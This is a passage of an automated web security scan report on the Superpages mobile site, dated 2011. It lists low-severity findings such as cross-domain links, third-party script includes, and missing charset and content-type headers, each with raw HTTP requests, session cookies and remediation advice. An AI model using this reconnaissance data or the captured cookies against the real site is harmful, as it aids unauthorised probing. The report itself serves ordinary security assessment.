Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=2AC5E40D01B929EEA55F291744B5CF82; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:18:03 GMT
Content-Length: 19952


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<span style="padding-top:5px;"><a href="http://baymwsrender14.bay.prod.mappoint.net/render-30/getmap.aspx?key=EC575E92EE76AED40B49&src=wap">Map Route</a>
...[SNIP]...

3.5. http://m.superpages.com/mobile/drivingdirections.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /mobile/drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&reverse=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=A6680E49D20E3F189BDB732C48536546; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:18:07 GMT
Content-Length: 23540


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<span style="padding-top:5px;"><a href="http://baymwsrender06.bay.prod.mappoint.net/render-30/getmap.aspx?key=494F3B7EB4B6BBA494F1&src=wap">Map Route</a>
...[SNIP]...

3.6. http://m.superpages.com/mobile/drivingdirections.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /mobile/drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&reverse=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=D9124CB5BF3627ADC6DE11013AB5CAC2; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:27:39 GMT
Content-Length: 23540


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<span style="padding-top:5px;"><a href="http://baymwsrender08.bay.prod.mappoint.net/render-30/getmap.aspx?key=416CF73752B0532938DA&src=wap">Map Route</a>
...[SNIP]...

3.7. http://m.superpages.com/mobile/smart.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/smart.sp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /mobile/smart.sp?src=wap&keyword=xss&fulladdress=&x=0&y=0 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/wireless.sp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=53DBC6603AA08E27527C295132C8ACC5; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=C5B4D4D60BA7D5C5CFDCF4344B72F1FC; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:15:54 GMT
Content-Length: 5831


<!-- Begin mobile comScore Tag -->

<!-- End mobile comScore Tag -->


                       <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobi
...[SNIP]...
</style>
       <script src="http://code.google.com/apis/gears/gears_init.js" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=10&c2=6035786&c4=&cv=2.0&cj=1" />
</noscript>
...[SNIP]...

3.8. http://m.superpages.com/mobile/wireless.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/wireless.sp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /mobile/wireless.sp?src=wap HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=9F7D9D4EA98A3FE8A468394BADF3B750; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=68AE8996C12D71E21C7E90B521C14535; Path=/mobile
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:16:31 GMT
Content-Length: 5895


<!-- Begin mobile comScore Tag -->

<!-- End mobile comScore Tag -->


               <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0
...[SNIP]...
</style>
       <script src="http://code.google.com/apis/gears/gears_init.js" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=10&c2=6035786&c4=&cv=2.0&cj=1" />
</noscript>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://m.superpages.com/mobile/smart.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/smart.sp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /mobile/smart.sp?src=wap&keyword=xss&fulladdress=&x=0&y=0 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/wireless.sp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=53DBC6603AA08E27527C295132C8ACC5; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=C5B4D4D60BA7D5C5CFDCF4344B72F1FC; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:15:54 GMT
Content-Length: 5831


<!-- Begin mobile comScore Tag -->

<!-- End mobile comScore Tag -->


                       <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobi
...[SNIP]...
</style>
       <script src="http://code.google.com/apis/gears/gears_init.js" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

4.2. http://m.superpages.com/mobile/wireless.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/wireless.sp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /mobile/wireless.sp HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_ppv=0; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=42C6C604E3C26EDEE5BEA4108E00D36E; Path=/mobile
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:16:23 GMT
Content-Length: 5726


<!-- Begin mobile comScore Tag -->

<!-- End mobile comScore Tag -->


               <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0
...[SNIP]...
</style>
       <script src="http://code.google.com/apis/gears/gears_init.js" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

5. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET / HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; s_pv=SPHP%20General; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true

Response

HTTP/1.1 200 OK
Server: Unspecified
ETag: W/"164-1288905404000"
Last-Modified: Thu, 04 Nov 2010 21:16:44 GMT
Content-Type: text/html
ntCoent-Length: 164
Date: Sat, 02 Apr 2011 14:16:23 GMT
Cache-Control: private
Content-Length: 164

<html>
<head>
<meta http-equiv="refresh" content="0;url=http://m.superpages.com/mobile/wireless.sp">
<title>Superpages Mobile</title></head>
<body>
</body>
</html>

6. Content type is not specified  previous
There are 2 instances of this issue:

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


6.1. http://m.superpages.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_ppv=0; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Unspecified
ETag: W/"21630-1211291940000"
Last-Modified: Tue, 20 May 2008 13:59:00 GMT
Content-Length: 21630
Date: Sat, 02 Apr 2011 14:16:29 GMT

....    .........(...............h...............h...&... ...........
.. ..........v.. ..............00......h...."..00...........)..00...........7..(....... .........................................
...[SNIP]...

6.2. http://m.superpages.com/mobile/images/favicon.ico  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/images/favicon.ico

Request

GET /mobile/images/favicon.ico HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=AA240F277563663CE603C1D709FCDB98; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
ETag: W/"1150-1301100145000"-gzip
Last-Modified: Sat, 26 Mar 2011 00:42:25 GMT
Date: Sat, 02 Apr 2011 14:16:51 GMT
Content-Length: 1150

............ .h.......(....... ..... ................................................
...p...........y...........................................+....\...%...(z..S..........<..........................
...[SNIP]...

Report generated by XSS.CX at Sat Apr 02 09:33:05 CDT 2011.